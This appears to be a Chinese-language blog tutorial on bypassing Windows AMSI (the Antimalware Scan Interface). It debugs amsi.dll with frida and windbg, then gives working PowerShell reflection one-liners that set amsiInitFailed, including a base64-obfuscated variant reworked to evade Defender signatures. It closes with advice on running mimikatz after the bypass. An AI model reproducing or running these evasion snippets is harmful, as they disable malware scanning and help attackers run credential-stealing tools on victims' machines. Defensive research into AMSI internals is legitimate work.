测试环境:
工具环境:
测试过程:
首先我们要知道AMSI是一个什么东西,之前做过相关的分享,这里就不再去啰嗦其概念了,一句话概括,win10自带的一个扫描接口,其核心组件存在于amsi.dll内,与windows defender相辅相成,过程如下:
更具体的函数结构体什么的,自己去看MSDN,链接给你们了。
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiinitialize
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession
https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanstring
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer
我们下面便开始从调试开始然后编写绕过amsi的脚本,调试过程为windbg与frida。
代码语言:javascript复制frida-trace -p 15 -x amsi.dll -i Amsi*
使用-p指定进程powershell的Pid,-x指定dll,-i使用*通配符来指定我们需要监控的API。
此时frida以及Hook住了amsi的相关函数,我们在powershell中输入字符串测试:
我们虽然识别了对AmsiOpenSession、AmsiScanBuffer和AmsiCloseSession的调用,但无法了解其内部过程,frida在Hook时默认会生成js文件,我们可以更改此类文件,来改变其Hook时的输出,方便我们理解整个过程。
首先是AmsiScanBuffer,默认如下:
将其更改如下:
此时我们再来进行测试:
此时以及变得容易查看与观看,然后我们输入经典的Amsi测试语句:
不出意外的被拦截了,我们换成绕过的语句:
从这个输入和输出,我们可以推断,WindowsDefender将“AmsiUtils”字符串标记为恶意。然而,我们很容易绕过了这个问题,即使用通过拆分和连接字符串进行保护。
下面我们打开windbg并也附加到powershell进程之中:
在powershell中输入字符串,测试:
所指的地方是其内存地址,我们使用windbg进行追踪:
dc:双字值(4字节)和ASCII字符。每个显示行都会显示行中第一个数据的地址,并且每行最多显示8个16进制值以及它们对应的ASCII字符。默认的显示数量为32个DWORD(128字节)。
我们不知道其大小,但可以看到AMSI的ASCII字符,为了知道其调用方式,我们需要unassemble,AMSI模块的AmsiOpenSession功能
我们可以看到我圈起来的地方有明显的内存比较的过程,而rcx将包含AmsiOpenSession的功能原型,其中有Jne指令,为跳转到0x4c,我们跟一下
条件跳转最终导致函数退出,其静态值为80070057h,根据AmsiOpenSession函数原型我们可知,其为一个返回值为句柄的函数:
代码语言:javascript复制HRESULT AmsiOpenSession(
HAMSICONTEXT amsiContext,
HAMSISESSION *amsiSession
);
而80070057h则代表:
到此我们已经了解其大体过程,下面我们来使用windbg来走一遍,下断点,并将rcx中的amsi patch掉:
此时便已经绕过了amsi打印出了我们的字符串。下面我们使用Powershell的反射来进行Amsi的绕过,其主要信息存储在:
代码语言:javascript复制System.Management.Automation.AmsiUtils
这个好说,我们可以使用循环遍历方法来绕过,主要是获取amsiContext的值:
将其转成hex便是它的内存地址:
根据前面的测试我们知道,我们只需要patch前四个字节即可。我们将其patch之后,然后再来查看:
此时已无AMSI,再来测试:
当然你也可以使用下面这类方法:
代码语言:javascript复制[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFai led','NonPublic,Static').SetValue($null,$true)
新开一个powershell测试:
没关系,我们来bypass,之前有人利用的是base64:
代码语言:javascript复制[Ref].Assembly.GetType('System.Management.Automation.' $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
但现在已经会被标记并查杀了,我们这里对他进行增强:
代码语言:javascript复制function b64decode {
param ($encoded)
$decoded = $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($en coded))
return $decoded
}
$1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=")
$2 = b64decode("YW1zaUluaXRGYWlsZWQ=")
$3 = b64decode("Tm9uUHVibGljLFN0YXRpYw==")
[Ref].Assembly.GetType($1).GetField($2,$3).SetValue($null,$true)
注:此类方法不太适合mimikatz,可以执行,但执行后便会被查杀。若非要使用,则最后使用变换过的mimikatz。